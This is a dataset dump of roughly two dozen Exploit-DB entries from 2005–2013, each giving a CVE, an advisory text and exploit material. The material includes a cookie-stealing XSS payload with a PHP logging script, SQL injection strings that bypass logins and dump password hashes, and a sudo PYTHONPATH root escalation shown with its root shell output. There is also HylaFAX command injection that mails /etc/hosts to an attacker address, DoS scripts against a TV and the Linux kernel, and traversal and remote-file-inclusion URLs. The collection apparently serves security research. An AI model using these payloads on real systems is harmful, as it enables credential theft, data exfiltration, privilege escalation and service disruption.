QLWD/code_shield huggingface dataset:
标题: PHP-Nuke News Submission Story - Text Field Cross-Site Scripting EDB-ID: 27060 CVE: 2006-0185 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16192/info

The PHPNuke Pool and News Modules are prone to an HTML injection vulnerability. This issue is due to a failure in the application modules to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<img src="javascript:window.navigate('http://www.example.com/cookies.php?c='+document.cookie);"

cookies.php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('steal.php', 'a');
fwrite($fp, '
Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.' ');
fclose($fp);
?> URL: https://www.exploit-db.com/exploits/27060
标题: Microsoft Excel 95 < 2004 - Malformed Graphic File Code Execution EDB-ID: 27055 CVE: 2006-0030 类型: DOS 平台: WINDOWS 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16181/info

Microsoft Excel is susceptible to a code-execution vulnerability. The issue presents itself when Excel tries to process malformed or corrupted XLS files.

Attackers may exploit this issue to execute arbitrary machine code in the context of the affected application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27055-1.xls

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27055-2.xls URL: https://www.exploit-db.com/exploits/27055
标题: Microsoft Windows - Graphics Rendering Engine Multiple Memory Corruption Vulnerabilities EDB-ID: 27051 CVE: 2006-0143 类型: DOS 平台: WINDOWS 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16167/info

Microsoft Windows WMF graphics-rendering engine is affected by multiple memory-corruption vulnerabilities. These issues affect the 'ExtCreateRegion' and 'ExtEscape' functions.

These problems present themselves when a user views a malicious WMF-formatted file containing specially crafted data.

Reports indicate that these issues lead to a denial-of-service condition. Earlier conjectures that the issues may result in the execution of arbitrary code appear at this point to be incorrect. Attackers could force a crash or restart of the viewing application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27051.rar URL: https://www.exploit-db.com/exploits/27051
标题: PHP-Nuke 7.7 EV Search Module - SQL Injection EDB-ID: 27058 CVE: 2006-0163 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16186/info

PHPNuke EV is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PHPNuke EV version 7.7 is vulnerable; earlier versions may also be affected. 

Example proof-of-concept code has been provided:


navigate to http://www.example.com/modules.php?name=Search and type in

s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/* URL: https://www.exploit-db.com/exploits/27058
标题: Sudo 1.6.x - Environment Variable Handling Security Bypass (2) EDB-ID: 27057 CVE: 2005-4158 类型: LOCAL 平台: LINUX 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16184/info
 
Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling environment variables.
 
A local attacker with the ability to run Python scripts can exploit this vulnerability to gain access to an interactive Python prompt. That attacker may then execute arbitrary code with elevated privileges, facilitating the complete compromise of affected computers.
 
An attacker must have the ability to run Python scripts through Sudo to exploit this vulnerability.
 
This issue is similar to BID 15394 (Sudo Perl Environment Variable Handling Security Bypass Vulnerability). 

## Sudo local root escalation privilege ##
## vuln versions :  sudo < 1.6.8p10
## adv : https://www.securityfocus.com/bid/16184
## by breno - breno at kalangolinux dot org

## You need sudo access execution for some python script ##


## First look sudoers file. User 'breno' can execute expl_python_sudo.py script

breno  ~ $ -> cat /etc/sudoers

breno   ALL=(ALL) /home/breno/expl_python_sudo.py

## Second, see our simple PoC python script

breno  ~ $ -> cat /home/breno/expl_python_sudo.py
#!/usr/bin/python
import sys
import socket
import os

print "Python Sudo Exploit"
exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
exp.close()
breno  ~ $ ->

## Sexy !! Do nothing :)

## Ok. What you need to do to get root is hijacking socket.py module , change close()
function to execute something and
## change PYTHONPTAH env.

breno  ~ $ -> cp /usr/lib/python2.3/socket.py /home/breno/

breno  ~ $ -> vi /home/breno/socket.py
...
import os
...
def close(self):
os.execl("/bin/sh","/bin/ah");
self._sock = _closedsocket()
self.send = self.recv = self.sendto = self.recvfrom = self._sock._dummy
close.__doc__ = _realsocket.close.__doc__
...

## Ok .. save it and export env

breno  ~ $ -> export PYTHONPATH=/home/breno

## .. and execute script. Too much sexy !!!

breno  ~ $ -> sudo /home/breno/expl_python_sudo.py
Python Sudo Exploit
root  ~ # -> id
uid=0(root) gid=0(root) grupos=0(root)
root  ~ # -> URL: https://www.exploit-db.com/exploits/27057
标题: Microsoft DirectShow - Arbitrary Memory Overwrite (MS13-056) EDB-ID: 27050 CVE: 2013-3174 类型: DOS 平台: WINDOWS 发布日期: 2013-07-23 漏洞利用脚本: Introduction:

The Microsoft DirectShow application programming interface (API) is a media-streaming architecture for Microsoft Windows. Using DirectShow, your applications can perform high-quality video and audio playback or capture.  

Overview:

DirectShow in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, and Windows Server 2012 allows remote attackers to execute arbitrary code via a crafted GIF file, aka "DirectShow Arbitrary Memory Overwrite Vulnerability." 

Disclosure Timeline

2013-03-20 - Vulnerability reported to vendor
2013-07-09 - Coordinated public release of advisory

Details:  

Microsoft's DirectShow API is vulnerable to arbitrary memory overwrite when reading specially crafted GIF files. I have attached a GIF which triggers the vulnerability. To open it you can use Media Player Classic which utilizes DirectShow API to render GIF files. I tested it on Windows XP SP3 and Windows 7 SP1 Spanish version. The corresponding output from WindDbg in Windows XP is:



ModLoad:    72c90000 72c98000      C:\WINDOWS\system32\msacm32
drv
ModLoad:   77bb0000 77bc5000       C:\WINDOWS\system32\MSACM32.dll
ModLoad:   77ba0000 77ba7000       C:\WINDOWS\system32\midimap.dll
ModLoad:   73e60000 73e64000       C:\WINDOWS\system32\KsUser.dll
ModLoad:   60830000 608bc000       C:\WINDOWS\system32\qedit.dll
ModLoad:   75ed0000 75ef1000        C:\WINDOWS\system32\MSVFW32.dll

(bd0.bf4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=ff414141 ebx=fffffa60 ecx=00000000 edx=fea57028 esi=fea57028 edi=000000ef
eip=60864094 esp=0274ec0c ebp=0274ed3c iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297

qedit!CImgGif::ReadImage+0x288:

60864094 8902            mov     dword ptr [edx],eax  ds:0023:fea57028=????????


The issue occurs inside qedit.dll when trying to read GIF header data, in CImgGif::ReadImage+0x288. This writes in memory position edx=fea57028 the value eax=ff414141 both of them controlled by the user. eax=fea57028 can be modified in the GIF file in the position 0x32C corresponding to NW corner of frame at 0, 0 and eax=ff414141 can be modified in the position 0x307 corresponding to Global Color Table. With these two values controlled by an attacker, arbitrary code execution could be achieved, with the privileges of the user running the application (in this case MPC).
    
References:

    https://technet.microsoft.com/en-us/security/bulletin/ms13-056 
    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3174

Fix:

http://technet.microsoft.com/en-us/security/bulletin/ms13-056

PoC:
https://docs.google.com/file/d/0B48gNjWDSsFwSDQ1ZGZEb3ItSEU
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27050.zip URL: https://www.exploit-db.com/exploits/27050
标题: AppServ Open Project 2.4.5 - Remote File Inclusion EDB-ID: 27048 CVE: 2006-0125 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/16166/info

AppServ Open Project is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

This issue affects version 2.4.5; other versions may also be vulnerable. 

http://www.example.com/appserv/main.php?appserv_root=http://www.example.com/ URL: https://www.exploit-db.com/exploits/27048
标题: OnePlug CMS - '/services/details.asp?Service_ID' SQL Injection EDB-ID: 27035 CVE: 2006-0115 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16155/info
 
OnePlug CMS is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/services/details.asp?Service_ID=[SQL] URL: https://www.exploit-db.com/exploits/27035
标题: TheWebForum 1.2.1 - Multiple Input Validation Vulnerabilities EDB-ID: 27037 CVE: 2006-0135 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16161/info

TheWebForum is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials and allow an attacker to control how the site is rendered to the user. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

Authentication bypass example (SQL Injection):
http://www.example.com/twf/login.php
User Name: a' or 'a'='a'/*
Password: anypassword

Get user's password hash example (SQL Injection):
http://www.example.com/twf/login.php
User Name: a' union select N,password, 3 from users/*
User name will contain password's hash of user with ID=N URL: https://www.exploit-db.com/exploits/27037
标题: Samsung PS50C7700 TV - Denial of Service EDB-ID: 27043 CVE: 2013-4890 类型: DOS 平台: HARDWARE 发布日期: 2013-07-23 漏洞利用脚本: #!/usr/bin/python

# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Date: 07/21/2013
# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
# CVE Number: CVE-2013-4890
# Vendor Homepage: http://www.samsung.com
# Description: Resets some Samsung TVs
#   The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
#   Tested successfully on my Samsung PS50C7700 plasma TV :)
 
import httplib
import sys
import os

print "  ***************************************************************************************"
print "   Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com\n"
print "   Exploit: Denial of Service (DoS) attack\n"
print "   Description: Resets some Samsung TVs\n"
print "     The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print "     Tested successfully on my Samsung PS50C7700 plasma TV :)\n"
print "  ***************************************************************************************\n"

# Sends the payload
print "  Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()

# Checks the response
print "  Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Target down!\n" URL: https://www.exploit-db.com/exploits/27043
标题: OnePlug CMS - '/products/details.asp?Product_ID' SQL Injection EDB-ID: 27036 CVE: 2006-0115 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16155/info
  
OnePlug CMS is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/products/details.asp?Product_ID=[SQL] URL: https://www.exploit-db.com/exploits/27036
标题: TinyPHPForum 3.6 - Multiple Directory Traversal Vulnerabilities EDB-ID: 27038 CVE: 2006-0103 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16163/info

TinyPHPForum is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible.

These issues are reported to affect version 3.6; earlier versions may also be vulnerable. 

http://www.example.com/tpf/profile.php?action=view&uname=../../username URL: https://www.exploit-db.com/exploits/27038
标题: CS-Cart - Multiple SQL Injections EDB-ID: 27030 CVE: 2005-4429 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16134/info

CS-Cart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=0&q=&x=11&y=3&sort_by=[SQL]
http://www.example.com/index.php?target=products&mode=search&subcats=Y&type=extended&avail=Y&pshor=Y&pfull=Y&pname=Y&cid=0&q=%27&x=11&y=3&sort_by=product&sort_order=[SQL] URL: https://www.exploit-db.com/exploits/27030
标题: EZ Invoice Inc. EZI 2.0 - 'Invoices.php' SQL Injection EDB-ID: 27029 CVE: 2005-3845 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16133/info

EZI is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ezi/invoices.php?i=[SQL] URL: https://www.exploit-db.com/exploits/27029
标题: Hylafax 4.1/4.2 (Multiple Scripts) - Remote Command Execution EDB-ID: 27032 CVE: 2005-3539 类型: REMOTE 平台: LINUX 发布日期: 2006-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/16151/info

HylaFAX is vulnerable to multiple arbitrary command-execution vulnerabilities. This issue is due to a failure in the application to properly sanitize user-supplied input.

These vulnerabilities allow an attacker to execute arbitrary commands in the context of the affected application. Successful exploitation may facilitate a compromise of the underlying system. 

sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts

sendfax -f "\`cat /etc/hosts|mail -s hosts attacker@example.com\` <attacker@example.com>" -d 411 /etc/hosts

sendfax -d "@411\";cat /etc/hosts|mail -s hosts attacker@example.com;" /etc/hosts URL: https://www.exploit-db.com/exploits/27032
标题: LogicBill 1.0 - Multiple SQL Injections EDB-ID: 27028 CVE: 2005-4430 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/16132/info

LogicBill is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/helpdesk.php?__mode=[SQL]
http://www.example.com/helpdesk.php?__mode=view&__id=[SQL] URL: https://www.exploit-db.com/exploits/27028
标题: DiscusWare Discus 3.10 - Error Message Cross-Site Scripting EDB-ID: 27021 CVE: 2006-0073 类型: WEBAPPS 平台: CGI 发布日期: 2006-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/16119/info

DiscusWare Discus is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Discus Professional 3.10 and Discus Freeware 3.10 are vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/discus/board-post.cgi?HTTP_REFERER=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&preview=1&message=&username=&passwd=&active_links=1&active_links_a=1 URL: https://www.exploit-db.com/exploits/27021
标题: Foro Domus 2.10 - Multiple Input Validation Vulnerabilities EDB-ID: 27033 CVE: 2006-0110 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16154/info

Foro Domus is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

Foro Domus version 2.10 is vulnerable to these issues; other versions may also be affected. 

An example URI exploiting the cross-site scripting issue was provided:
http://www.example.com/domus/escribir.php?domus=ae29cf4d3f2dc42241e387d39b4126e2&hilo=1&padre=1&categoria=General&n=&usario=username&email=e@\';%20alert(123);%20var%20dss=\'h.co&asunto=blabla&texto=anytext&accion=enviar URL: https://www.exploit-db.com/exploits/27033
标题: OnePlug CMS - '/press/details.asp?Press_Release_ID' SQL Injection EDB-ID: 27034 CVE: 2006-0115 类型: WEBAPPS 平台: ASP 发布日期: 2006-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16155/info

OnePlug CMS is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/press/details.asp?Press_Release_ID=[SQL] URL: https://www.exploit-db.com/exploits/27034
标题: EFileGo 3.0 - Multiple Input Validation Vulnerabilities EDB-ID: 27024 CVE: 2005-4622 类型: REMOTE 平台: WINDOWS 发布日期: 2006-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/16124/info

eFileGo is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to retrieve arbitrary files, upload files to arbitrary locations, cause denial of service conditions and execute arbitrary commands.

Successful exploitation may facilitate a remote compromise of the computer running the affected software.

http://www.example.com/.../.../.../.../.../windows/
http://www.example.com/.../.../.../.../.../.../windows/explorer.exe
http://www.example.com/.../.../.../.../.../.../.../.../windows/system32/cmd.exe?/c+dir
http://www.example.com/cgi-bin/upload.exe?/some_random_directory
http://www.example.com/cgi-bin/upload.exe?/.../.../.../.../.../.../windows/ URL: https://www.exploit-db.com/exploits/27024
标题: Linux Kernel 2.6.x - SET_MEMPOLICY Local Denial of Service EDB-ID: 27031 CVE: 2005-3358 类型: DOS 平台: LINUX 发布日期: 2006-01-04 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/16135/info

Linux kernel is prone to a local denial-of-service vulnerability.

This issue affects the 'set_mempolicy()' function of the 'mm/mempolicy.c' file.

Successful exploitation causes the kernel to crash, leading to a denial-of-service condition. 
*/


#include <asm/unistd.h>

main(){
        syscall(__NR_set_mempolicy,3,0,0);
        write(1,10,8192);
} URL: https://www.exploit-db.com/exploits/27031
标题: Chimera Web Portal 0.2 - 'modules.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27016 CVE: 2006-0136 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/16113/info

Chimera Web Portal is prone to multiple input validation vulnerabilities. The issues include cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/chimera/modules.php?name=guestbook&file=index
comment_poster=XSS
comment_poster_email=XSS
comment_poster_homepage=XSS
comment_text=XSS URL: https://www.exploit-db.com/exploits/27016
标题: Chimera Web Portal 0.2 - 'linkcategory.php?id' SQL Injection EDB-ID: 27017 CVE: 2006-0137 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/16113/info
 
Chimera Web Portal is prone to multiple input validation vulnerabilities. The issues include cross-site scripting and SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/chimera/linkcategory.php?id=9999'%20union%20select%20admin_password%20from%20admin/* URL: https://www.exploit-db.com/exploits/27017